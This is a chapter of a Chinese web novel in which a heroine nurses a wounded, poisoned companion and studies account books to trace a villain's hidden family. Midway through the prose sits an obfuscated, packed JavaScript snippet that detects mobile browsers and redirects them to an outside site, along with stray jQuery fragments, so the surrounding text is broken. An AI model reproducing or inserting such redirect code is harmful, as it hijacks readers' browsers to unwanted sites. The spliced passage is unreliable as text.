夜最深时，顾山月回到了城南别院。


    叶淮然已经被安置在内室的床榻上，肩上箭矢虽已拔除，伤口也敷了药，但人仍昏迷着，脸色苍白得吓人。鬼手张正在外间净手，铜盆里的水染着淡褐色的药汁，空气里弥漫着苦涩的气味。


    “箭上有毒。”鬼手张见顾山月进来，哑声道，“是‘见血封喉’的变种，剂量不大，但若再晚上半个时辰，毒性入心脉，神仙难救。”


    顾山月心头一紧，走到床边。叶淮然闭目躺着，呼吸轻浅，眉心无意识地蹙着，额上沁着细密的冷汗。她伸手探了探他的额头，触手滚烫。


    “毒已拔除大半，余下的靠汤药慢慢清。”鬼手张擦干手，将一张药方递给候在一旁的**，“按方抓药，三碗水煎成一碗，两个时辰喂一次。今夜若能退烧，便无大碍。”


    **接过药方，匆匆去了。鬼手张又看了顾山月一眼，叹了口气，转身退出去，带上了门。


    屋内安静下来，只剩烛火偶尔爆开的细响。顾山月在床边坐下，看着叶淮然昏睡中仍绷紧的侧脸，方才在溪边谢恒说的那些话，又一字一句地撞回耳中。


    “……当年叶家满门被灭的案子，可能和你父母有关。”


    她闭了闭眼，指尖无意识地攥紧了裙裾。


    信吗？


    她不知道。理智告诉她，谢恒此刻与孙长峰勾结，他的话未必可信，很可能是离间之计。可情感深处，却有个细小的声音在质问：那叶淮然呢？上次自己问过，他也未主动提过仇家具体是谁，总是含糊带过。若真与她父母无关，他何必隐瞒？


    心口像堵了团浸水的棉絮，又沉又闷，喘不过气。


    门外传来极轻的叩门声。谷雨端着托盘进来，上头是一碗清粥和几碟小菜，还有厚厚一叠账册。


    “姑娘，您一天没吃东西了。”谷雨将托盘放在桌上，又指了指那叠账册，“这是按您之前的吩咐，从侯府揽月轩和咱们铺子里取来的要紧账目和文书，刚送到的。”


    顾山月这才觉得胃里空得发疼。她强迫自己起身，走到桌边坐下，草草喝了几口粥，便推开了碗，翻开了最上面一本账册。


    这是她从侯府公中账目里私下抄录的副本，记录着近五年来府内大项开支与田庄收益。烛光下，墨字密密麻麻，她却看得极专注——这是她这段时日被困在侯府里，唯一能光明正大查探的途径。也是她准备的后手，万一被孙长峰发现真相，自己离开侯府总要有些收获。


    现在不就用上了。


    账目表面干干净净，田庄收成、铺面租金、人情往来，一笔笔清晰分明。


    让她在意的是，每月初七、二十一这两日，账上总会支出一笔固定数额的银钱，用途只写“外务”。数额不算顶大，但五年下来，累积竟有近万两。


    她曾旁敲侧击问过安知微，安知微只道是孙长峰在外有些私交应酬，她也不便多问。


    鬼手张查验庄姨娘尸身后说的那番话，此刻又浮上心头——“下毒之人，是个懂行的。”


    孙长峰懂药理吗？未必。但他有钱，有人脉，能弄到鬼手张配的毒，也能驱使三重鸟的**。这样一个心思缜密、手段狠辣的人，为什么需要谢恒？


    她推开账册，揉了揉眉心。脑中零碎的线索像散落的珠子，需要一根线穿起来。


    赵华荣从宫中递出的消息里提过，孙长峰似有亲眷在世，只是藏得极深。他这些年不断从侯府账上挪钱，若真是为了供养外头的家人，那这些家人，很可能就是他最大的软肋。


    而谢恒……清贵翰林，诗书传家，在朝中虽无实权，却有名望，有清誉，更有将来入阁的可能。孙长峰一个赘婿，即便掌着侯府庶务，在真正的权贵圈子里，依旧缺一份体面的敲门砖。


    若孙长峰想为隐藏的家人谋一个安稳前途，甚至改换门庭、脱离“赘婿”的污名，那么结交、拉拢谢恒这样前途无量的清流官员，便是一条捷径。


    而谢恒要什么？


    他要她。


    顾山月指尖一颤，心底涌起一股冰冷的恶心。孙长峰以“促成婚约”为饵，引诱谢恒上钩；谢恒则为情所困，甘心被利用。各取所需，一拍即合。


    那么，孙长峰隐藏的那些家人，究竟在哪儿？


    她重新翻开账册，找到那笔每月固定支取的“外务”银钱记录，又抽出另一本从铺子暗账中抄录的私簿——那里头记着几笔看似与侯府无关的银钱去向，是她安插的人暗中盯梢所得。


    其中一条，引起了她的注意：去年重阳前后，孙长峰名下的一间不起眼的笔墨铺子，曾以“采买原料”为由，向京西百里外的“滁州”汇过一笔款子，数额与侯府账上“外务”支出相近。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003673|190261||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    而滁州……似乎正是孙长峰老家的地界。


    她心跳微微加快。孙长峰的老家早已无人，这是他入赘时便交代清楚的。若他真有家人需要供养，滁州或许只是个幌子，真正的藏身之处，恐怕就在京城附近，甚至……就在京郊。


    账册私簿里还有几条零碎记录：孙长峰每隔两三月，便会去一趟京郊的“栖霞山”，美其名曰登山散心，有时当日往返，有时会住上一夜。去的时间不定，但似乎总避着人。


    栖霞山……


    顾山月正凝神思索，床榻那边传来一声低低的呻吟。


    她立刻起身走过去。叶淮然不知何时醒了，正试图撑起身子，肩上的伤口因动作被牵动，疼得他闷哼一声，额上冷汗涔涔。


    “别动！”顾山月按住他，“伤口刚包扎好。”


    叶淮然喘了口气，抬眼看向她，眼神因高热而有些涣散，却仍精准地抓住了她的手腕：“你……没事？”


    “我没事。”顾山月反手握了握他滚烫的手指，“箭上有毒，鬼手张已经帮你解了。你发烧了，好好躺着。”


    叶淮然却不肯松手，目光在她脸上逡巡，像是要确认什么。良久，才哑声道：“你……是不是有什么想说的？”


    顾山月动作一滞。


    烛火在她侧脸上投下摇曳的光影，看不清神情。她沉默片刻，轻轻抽回手，转身去桌边倒了杯温水，递到他唇边。


    “先喝水。”她声音平静，“等你好了，我们再谈。”


    叶淮然盯着她，喉结滚动，终究还是就着她的手喝了几口。温水入喉，灼痛的喉咙稍缓，可心口那处，却像是被什么更沉重的东西压住了。


    他现在已经太了解顾山月了，对方一个细微的叹气，一个轻轻的蹙眉他都能品读出她的心绪和其中意思，她的状态很不对劲。


    “月儿……”他开口，声音干涩。


    “你累了。”顾山月打断他，替他掖了掖被角，“睡吧。我在这儿守着。”


    她语气温和，却带着一种不容置疑。叶淮然看着她重新走回桌边坐下，背对着他，继续翻看那些账册，烛光将她的背影拉得很长，孤单而执拗。


    他想再说些什么，可高热的眩晕和伤口的剧痛海浪般涌上来，吞没了意识。在陷入黑暗前最后一眼，他只看见她挺直的背脊，和微微颤抖的指尖。